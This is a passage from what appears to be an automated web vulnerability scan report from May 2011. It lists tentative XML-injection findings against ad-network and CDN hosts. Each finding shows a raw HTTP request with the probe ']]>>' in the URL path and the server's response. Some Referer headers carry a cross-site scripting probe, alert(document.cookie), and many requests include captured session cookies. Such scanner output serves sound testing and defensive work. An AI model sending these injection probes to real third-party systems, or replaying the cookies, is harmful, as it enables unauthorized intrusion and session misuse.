Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001; rsi_segs=J05531_10298|J05531_10323|J05531_10488|J05531_10499|J05531_10501|D08734_70008|D08734_72078|J05531_10128

Response

HTTP/1.1 200 OK
Content-Type: text/xml;charset=ISO-8859-1
Date: Tue, 10 May 2011 13:25:51 GMT
Server: GlassFish v3
X-Powered-By: Servlet/3.0
Content-Length: 172
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?><map><entry key="visitors"><entry key="wapoVisitor"><entry key="id">5f0949ac-cbb9-4272-8a1f-f080966ffc2f</entry></entry></entry></map>

8.4. http://load.exelator.com/load/ [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://load.exelator.com
Path:	/load/

Issue detail

Request

GET /load]]>>/?p=201&j=w&g=003 HTTP/1.1
Host: load.exelator.com
Proxy-Connection: keep-alive
Referer: http://ads.pubmatic.com/AdServer/js/dpsync.html?upixid=16&pubid=19677&dp=4*003&rannum
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: xltl=eJxlyz0LwjAUheH%252Fkj2Q3Nx83U7adihoEavgVpo0xYLQodRF%252FO%252FajrodXs7TEdJrJkXsWhUs%252By4gJq3GEIwWBlTUIaEaYieCtlF5KXq%252F%252FqQktox924DAqs43aohFlUAbTNy6EDgOSfMgpOE%252BheSSE2iE%252BuW74rYmsMTyXdmU9d3Oj6Ua1WHSl%252FPUTtO8fx7%252F1KnekicGFlA5I6QHsA4NSMey9wcjUTpn; BFF=eJztlr1SwzAMx9%252BlT%252BCPpE7SpSXcQe9o6NFcr0xcR2ZG4N1JbMeVZSkpLQNDV%252F30l2xLiXSs5nn1%252BVHJvJrtlMjWTf0l5LIsy3y2eO%252FMRiw6qqvZ5rlpH59e3%252Fbr3bqdLY5VUZ4hFJBCoALAGhMICtRKkW16b%252BWB7EDu7cAU%252BWoCNEyQhvONgvgLr%252B4P%252FsJzRwsFLuwoBCoArDGBoEAvm8NSdtmNAkBbO%252BFZCllIgcDqrk2BtnboGYq4j4sY3clR4k4dwJpQxD30NyCQog984hBkIFGiMqDHRqPWXNSaUMEyK%252B5JHOXLnBPntBrNn9Nx4pw2JnvObTPWjpZS59w2XDtuGy4N%252FxyW8mnI5%252Bg1Y89hOfUcfcxEZRPm0r%252BF8UgP97IEGEtnxL6ZMwOL%252FQWuH2xcZYTRgM0HBP2FNabOLg7ytJ8p9gwfdgJQJyUcNgwr9u%252FOivvn5cTDF8yJ7YfKi%252BsJcZ3CvlBS5lShOjPxakYXhTS41JkiS52p2LGVRoMhMTj2ZphKDp6wDSOSnAJUWykvKQUGEgHfBqkiAEqRdbNDRCBpHBQxbhwECbEcE5OZQ9cxmV3XMZmBmMw8iKnMp5alM%252FuWpTNDMZU5iE%252Fwe3TJIfeZjFteIEiWl0s3FX4hoXaPuOPOXjUmNgt%252BgZjcFS5cCVDZagKOT%252F4rBvwVc5wf1xOT%252BaIBnH5VCeTnLDNSxwYoOyz%252FdDZSfykE%252F%252BNsTDsWQ2Y2%252FnYSMnPvNuVuU46fcj%252Fc9NhB; TFF=eJyVljGSwyAMRe%252BSEyCBI8CNj7FtCheZ2W63y%252BTuC8lCbIFsUWRwPP%252BZ%252F5HAvsXJx8dPBIwXNG4xEywhBLzMt4jxcY8wp99EJg2mXD4b%252FZT1lulxfv%252FdclQxHZHuGbdXevxXuvbZ69f6fftd2bNDeTZyOzkGZD9X0429mQI6%252BiaEKxMxjiqmI9LIY1elFTwh9DPAsb7JAG0hthkSpiVeTQJ%252BMQZ7zvwnc7rMevfRQwiW8CKU3h6QwYBvPMrk3iNvZC131XJUMR2Rm9aPeMptZrqbuF3vvV7MfsKJ2TlHFRueCQYTwXEiEJyB6IwTr5kwiGu9qY2tHVr0SIYsn8m2VW3I%252Fq4Qyb3HZjWUXFNfJUdajiqmI9I9DAOeAKbF2O7p2K1T0ZP1HsQUcEAe16kh9x7FOp1wYp04RxXTEWmEacATunwK69e76Me6myqo7hqHI11DVnxzneiVffyuxBvTZkjyoQwknVDh80kXTO3fokdC5OtaP6PgjOT5VWS3%252BirSJbI5O2Ryvy58t2k5vttEjiqmI3KNSaV8%252FgEhIfHO; EVX=eJyNkEsOgzAMRO%252FCCTx2guNwGIsl6y4r7t6EVFSU7y7Sm3H8PGbL7ymbWRzGrPVNwysj5Q5RydWZglOEs6MbpoyVJq4UyYnYyaVS%252FqO1SyiUK5UDikqXyeFHpVK2pYs2OW4pEJ2kNFu3X6nVnaH67RY6Fz1CAhVBbAX3CvNyi75E4110f4utLV%252F6yKVPuPFhJZUDn91HzUcfRlVSwll4s2JbgvngqGcbM%252BNhOJgJPQvPH1zAsLM%253D

Response

HTTP/1.1 404 Not Found
Connection: close
Content-Type: text/html
Content-Length: 345
Date: Tue, 10 May 2011 13:30:03 GMT
Server: HTTP server

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.5. http://loadm.exelator.com/load/ [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://loadm.exelator.com
Path:	/load/

Issue detail

Request

GET /load]]>>/?p=204&g=071&j=0&buid=29E43D8F-52C5-4C7B-B2EA-0181496E6671 HTTP/1.1
Host: loadm.exelator.com
Proxy-Connection: keep-alive
Referer: http://ads.pubmatic.com/AdServer/js/dpsync.html?upixid=16&pubid=19677&dp=4*003&rannum
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: xltl=eJxlyz0LwjAUheH%252Fkj2Q3Nx83U7adihoEavgVpo0xYLQodRF%252FO%252FajrodXs7TEdJrJkXsWhUs%252By4gJq3GEIwWBlTUIaEaYieCtlF5KXq%252F%252FqQktox924DAqs43aohFlUAbTNy6EDgOSfMgpOE%252BheSSE2iE%252BuW74rYmsMTyXdmU9d3Oj6Ua1WHSl%252FPUTtO8fx7%252F1KnekicGFlA5I6QHsA4NSMey9wcjUTpn; BFF=eJztlr1SwzAMx9%252BlT%252BCPpE7SpSXcQe9o6NFcr0xcR2ZG4N1JbMeVZSkpLQNDV%252F30l2xLiXSs5nn1%252BVHJvJrtlMjWTf0l5LIsy3y2eO%252FMRiw6qqvZ5rlpH59e3%252Fbr3bqdLY5VUZ4hFJBCoALAGhMICtRKkW16b%252BWB7EDu7cAU%252BWoCNEyQhvONgvgLr%252B4P%252FsJzRwsFLuwoBCoArDGBoEAvm8NSdtmNAkBbO%252BFZCllIgcDqrk2BtnboGYq4j4sY3clR4k4dwJpQxD30NyCQog984hBkIFGiMqDHRqPWXNSaUMEyK%252B5JHOXLnBPntBrNn9Nx4pw2JnvObTPWjpZS59w2XDtuGy4N%252FxyW8mnI5%252Bg1Y89hOfUcfcxEZRPm0r%252BF8UgP97IEGEtnxL6ZMwOL%252FQWuH2xcZYTRgM0HBP2FNabOLg7ytJ8p9gwfdgJQJyUcNgwr9u%252FOivvn5cTDF8yJ7YfKi%252BsJcZ3CvlBS5lShOjPxakYXhTS41JkiS52p2LGVRoMhMTj2ZphKDp6wDSOSnAJUWykvKQUGEgHfBqkiAEqRdbNDRCBpHBQxbhwECbEcE5OZQ9cxmV3XMZmBmMw8iKnMp5alM%252FuWpTNDMZU5iE%252Fwe3TJIfeZjFteIEiWl0s3FX4hoXaPuOPOXjUmNgt%252BgZjcFS5cCVDZagKOT%252F4rBvwVc5wf1xOT%252BaIBnH5VCeTnLDNSxwYoOyz%252FdDZSfykE%252F%252BNsTDsWQ2Y2%252FnYSMnPvNuVuU46fcj%252Fc9NhB; TFF=eJyVljGSwyAMRe%252BSEyCBI8CNj7FtCheZ2W63y%252BTuC8lCbIFsUWRwPP%252BZ%252F5HAvsXJx8dPBIwXNG4xEywhBLzMt4jxcY8wp99EJg2mXD4b%252FZT1lulxfv%252FdclQxHZHuGbdXevxXuvbZ69f6fftd2bNDeTZyOzkGZD9X0429mQI6%252BiaEKxMxjiqmI9LIY1elFTwh9DPAsb7JAG0hthkSpiVeTQJ%252BMQZ7zvwnc7rMevfRQwiW8CKU3h6QwYBvPMrk3iNvZC131XJUMR2Rm9aPeMptZrqbuF3vvV7MfsKJ2TlHFRueCQYTwXEiEJyB6IwTr5kwiGu9qY2tHVr0SIYsn8m2VW3I%252Fq4Qyb3HZjWUXFNfJUdajiqmI9I9DAOeAKbF2O7p2K1T0ZP1HsQUcEAe16kh9x7FOp1wYp04RxXTEWmEacATunwK69e76Me6myqo7hqHI11DVnxzneiVffyuxBvTZkjyoQwknVDh80kXTO3fokdC5OtaP6PgjOT5VWS3%252BirSJbI5O2Ryvy58t2k5vttEjiqmI3KNSaV8%252FgEhIfHO; EVX=eJyNkEsOgzAMRO%252FCCTx2guNwGIsl6y4r7t6EVFSU7y7Sm3H8PGbL7ymbWRzGrPVNwysj5Q5RydWZglOEs6MbpoyVJq4UyYnYyaVS%252FqO1SyiUK5UDikqXyeFHpVK2pYs2OW4pEJ2kNFu3X6nVnaH67RY6Fz1CAhVBbAX3CvNyi75E4110f4utLV%252F6yKVPuPFhJZUDn91HzUcfRlVSwll4s2JbgvngqGcbM%252BNhOJgJPQvPH1zAsLM%253D

Response

HTTP/1.1 404 Not Found
Connection: close
Content-Type: text/html
Content-Length: 345
Date: Tue, 10 May 2011 13:30:44 GMT
Server: HTTP server

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.6. http://pixel.quantserve.com/api/segments.json [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://pixel.quantserve.com
Path:	/api/segments.json

Issue detail

Request

GET /api]]>>/segments.json?a=p-f9eIEHI8DewDI&callback=qc_results HTTP/1.1
Host: pixel.quantserve.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mc=4dab4f93-dea96-f475f-85ff7; d=EK8AJe8kjVmM-5GL0ZmY8frRi58oyBABvAEB2waBlQCa0YWZVQ8Ys9HMXiiz0dSizFILKjTBH-EQwgDB8QggINIOIAnRO7YKkZLHQxAhGCC7MsEtM4EoIDAuGUocwltTnxQATSAOiSAMMAvi0bZLEIJIstOUo4sj

Response

HTTP/1.1 404 Not Found
Connection: close
Content-Type: text/html
Cache-Control: private, no-cache, no-store, proxy-revalidate
Pragma: no-cache
Expires: Fri, 04 Aug 1978 12:00:00 GMT
Content-Length: 345
Date: Tue, 10 May 2011 13:14:46 GMT
Server: QS

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.7. http://pixel.quantserve.com/api/segments.json [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://pixel.quantserve.com
Path:	/api/segments.json

Issue detail

The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /api/segments.json]]>>?a=p-f9eIEHI8DewDI&callback=qc_results HTTP/1.1
Host: pixel.quantserve.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mc=4dab4f93-dea96-f475f-85ff7; d=EK8AJe8kjVmM-5GL0ZmY8frRi58oyBABvAEB2waBlQCa0YWZVQ8Ys9HMXiiz0dSizFILKjTBH-EQwgDB8QggINIOIAnRO7YKkZLHQxAhGCC7MsEtM4EoIDAuGUocwltTnxQATSAOiSAMMAvi0bZLEIJIstOUo4sj

Response

8.8. http://pixel.quantserve.com/seg/r [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://pixel.quantserve.com
Path:	/seg/r

Issue detail

Request

GET /seg]]>>/r;a=p-61YFdB4e9hBRs;redirect=http://tag.admeld.com/pixel?admeld_dataprovider_id=15&_seg=!qcsegs&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_dataprovider_id=15&admeld_callback=http://tag.admeld.com/pixel HTTP/1.1
Host: pixel.quantserve.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/default_criteo?t=1305033247523&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mc=4dab4f93-dea96-f475f-85ff7; d=EK8AJe8kjVmM-5GL0ZmY8frRi58oyBABvAEB2waBlQCa0YWZVQ8Ys9HMXiiz0dSizFILKjTBH-EQwgDB8QggINIOIAnRO7YKkZLHQxAhGCC7MsEtM4EoIDAuGUocwltTnxQATSAOiSAMMAvi0bZLEIJIstOUo4sj

Response

HTTP/1.1 404 Not Found
Connection: close
Content-Type: text/html
Cache-Control: private, no-cache, no-store, proxy-revalidate
Pragma: no-cache
Expires: Fri, 04 Aug 1978 12:00:00 GMT
Content-Length: 345
Date: Tue, 10 May 2011 13:39:44 GMT
Server: QS

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.9. http://platform.twitter.com/anywhere.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://platform.twitter.com
Path:	/anywhere.js

Issue detail

Request

GET /anywhere.js]]>>?id=5dRjBTiX9uK0uRUGy6w&v=1 HTTP/1.1
Host: platform.twitter.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=43838368.1303561994.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); k=173.193.214.243.1304470443436909; __utma=43838368.551233229.1303561994.1304617828.1304721594.4; _twitter_sess=BAh7CCIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7ADoHaWQiJTA5ZTBmNDQwYTlmOTdmMWRlY2IwZjIx%250AOWNkZWE1YmI1Og9jcmVhdGVkX2F0bCsIjOkL2i8B--9a1ddbad04c0f1cb7deb25f1fc3cffde5f0c6771

Response

HTTP/1.1 404 Not Found
Content-Type: application/xml
Content-Length: 280
Date: Tue, 10 May 2011 13:48:06 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Key>anywhere.js]]>></Key><RequestId>0F6A759CC4F1FB70</RequestId><HostId>I
...[SNIP]...

8.10. http://platform.twitter.com/widgets/tweet_button.html [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://platform.twitter.com
Path:	/widgets/tweet_button.html

Issue detail

Request

GET /widgets]]>>/tweet_button.html?url=http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/&text=Samsung%20Galaxy%20Tab%2010.1%20Hands-On%20at%20Google%20I/O%202011 HTTP/1.1
Host: platform.twitter.com
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=43838368.1303561994.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); k=173.193.214.243.1304470443436909; __utma=43838368.551233229.1303561994.1304617828.1304721594.4

Response

HTTP/1.1 404 Not Found
Content-Type: application/xml
Content-Length: 294
Date: Tue, 10 May 2011 13:29:38 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Key>widgets]]>>/tweet_button.html</Key><RequestId>9BCDD3F4D3B43297</Reque
...[SNIP]...

8.11. http://platform.twitter.com/widgets/tweet_button.html [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://platform.twitter.com
Path:	/widgets/tweet_button.html

Issue detail

Request

GET /widgets/tweet_button.html]]>>?url=http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/&text=Samsung%20Galaxy%20Tab%2010.1%20Hands-On%20at%20Google%20I/O%202011 HTTP/1.1
Host: platform.twitter.com
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=43838368.1303561994.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); k=173.193.214.243.1304470443436909; __utma=43838368.551233229.1303561994.1304617828.1304721594.4

Response

HTTP/1.1 404 Not Found
Content-Type: application/xml
Content-Length: 294
Date: Tue, 10 May 2011 13:29:40 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Key>widgets/tweet_button.html]]>></Key><RequestId>EF224ACD6FDA8348</Reque
...[SNIP]...

8.12. http://platform0.twitter.com/widgets/tweet_button.html [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://platform0.twitter.com
Path:	/widgets/tweet_button.html

Issue detail

Request

GET /widgets]]>>/tweet_button.html?_=1305033273590&count=vertical&lang=en&related=mocoNews&text=NFC%20In%20Focus%20At%20Google%20I%2FO%20As%20Foursquare%2C%20Hashable%20Join%20Party&url=http%3A%2F%2Fmoconews.net%2Farticle%2F419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party%2F&via=mocoNews HTTP/1.1
Host: platform0.twitter.com
Proxy-Connection: keep-alive
Referer: http://moconews.net/article/419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=43838368.1303561994.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); k=173.193.214.243.1304470443436909; __utma=43838368.551233229.1303561994.1304617828.1304721594.4

Response

HTTP/1.1 404 Not Found
Content-Type: application/xml
Content-Length: 294
Date: Tue, 10 May 2011 13:34:26 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Key>widgets]]>>/tweet_button.html</Key><RequestId>189BFA66900D0803</Reque
...[SNIP]...

8.13. http://platform0.twitter.com/widgets/tweet_button.html [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://platform0.twitter.com
Path:	/widgets/tweet_button.html

Issue detail

Request

GET /widgets/tweet_button.html]]>>?_=1305033273590&count=vertical&lang=en&related=mocoNews&text=NFC%20In%20Focus%20At%20Google%20I%2FO%20As%20Foursquare%2C%20Hashable%20Join%20Party&url=http%3A%2F%2Fmoconews.net%2Farticle%2F419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party%2F&via=mocoNews HTTP/1.1
Host: platform0.twitter.com
Proxy-Connection: keep-alive
Referer: http://moconews.net/article/419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=43838368.1303561994.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); k=173.193.214.243.1304470443436909; __utma=43838368.551233229.1303561994.1304617828.1304721594.4

Response

HTTP/1.1 404 Not Found
Content-Type: application/xml
Content-Length: 294
Date: Tue, 10 May 2011 13:34:28 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Key>widgets/tweet_button.html]]>></Key><RequestId>BDD8D9F9FD6875DF</Reque
...[SNIP]...

8.14. http://s.meebocdn.net/cim/script/cim_v92_cim_11_8_0.en.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s.meebocdn.net
Path:	/cim/script/cim_v92_cim_11_8_0.en.js

Issue detail

Request

GET /cim]]>>/script/cim_v92_cim_11_8_0.en.js?1303937101 HTTP/1.1
Host: s.meebocdn.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Date: Tue, 10 May 2011 14:22:16 GMT
Server: lighttpd/1.4.19
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: private, max-age=604800
Age: 0
Expires: Tue, 17 May 2011 14:22:16 GMT
Connection: Keep-Alive
Content-Length: 345

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.15. http://s.meebocdn.net/cim/script/cim_v92_cim_11_8_0.en.js [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s.meebocdn.net
Path:	/cim/script/cim_v92_cim_11_8_0.en.js

Issue detail

Request

GET /cim/script]]>>/cim_v92_cim_11_8_0.en.js?1303937101 HTTP/1.1
Host: s.meebocdn.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Date: Tue, 10 May 2011 14:22:22 GMT
Server: lighttpd/1.4.19
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: private, max-age=604800
Age: 0
Expires: Tue, 17 May 2011 14:22:22 GMT
Connection: Keep-Alive
Content-Length: 345

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.16. http://s.meebocdn.net/cim/script/cim_v92_cim_11_8_0.en.js [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s.meebocdn.net
Path:	/cim/script/cim_v92_cim_11_8_0.en.js

Issue detail

The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /cim/script/cim_v92_cim_11_8_0.en.js]]>>?1303937101 HTTP/1.1
Host: s.meebocdn.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Tue, 10 May 2011 14:22:26 GMT
Server: lighttpd/1.4.19
Accept-Ranges: bytes
Cache-Control: private, no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.17. http://s.meebocdn.net/cim/script/sandbox_v92_cim_11_8_0.en.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://s.meebocdn.net
Path:	/cim/script/sandbox_v92_cim_11_8_0.en.js

Issue detail

Request

GET /cim]]>>/script/sandbox_v92_cim_11_8_0.en.js?1303937101 HTTP/1.1
Host: s.meebocdn.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
